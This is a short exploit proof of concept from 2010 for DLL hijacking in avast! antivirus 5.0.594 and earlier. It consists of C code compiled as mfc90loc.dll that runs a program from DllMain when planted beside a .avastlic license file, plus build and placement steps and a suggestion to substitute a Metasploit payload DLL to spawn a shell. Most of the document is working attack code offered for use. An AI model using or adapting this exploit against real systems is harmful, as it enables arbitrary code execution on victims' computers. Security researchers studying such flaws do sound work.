/*# Exploit Title: avast! license files DLL Hijacking Exploit (mfc90loc.dll)# Date: 25/08/2010# Author: Bruno Filipe (diwr) http://digitalacropolis.us# Software Link: http://www.avast.com# Version: <= 5.0.594# Tested on: WinXP SP2, WinXP SP3# Thx TheLeader ;)#----------------------------------------------------------------------------------------------------------# This should work with avast license files (.avastlic)# 1. gcc dllmain.c -o mfc90loc.dll# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:
anything.avastlic)# 3. You can generate a msfpayload DLL and spawn a shell, for example.#----------------------------------------------------------------------------------------------------------*/#include <windows.h>
int main(){
WinExec("calc", SW_NORMAL);exit(0);return 0;}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){
main();return 0;}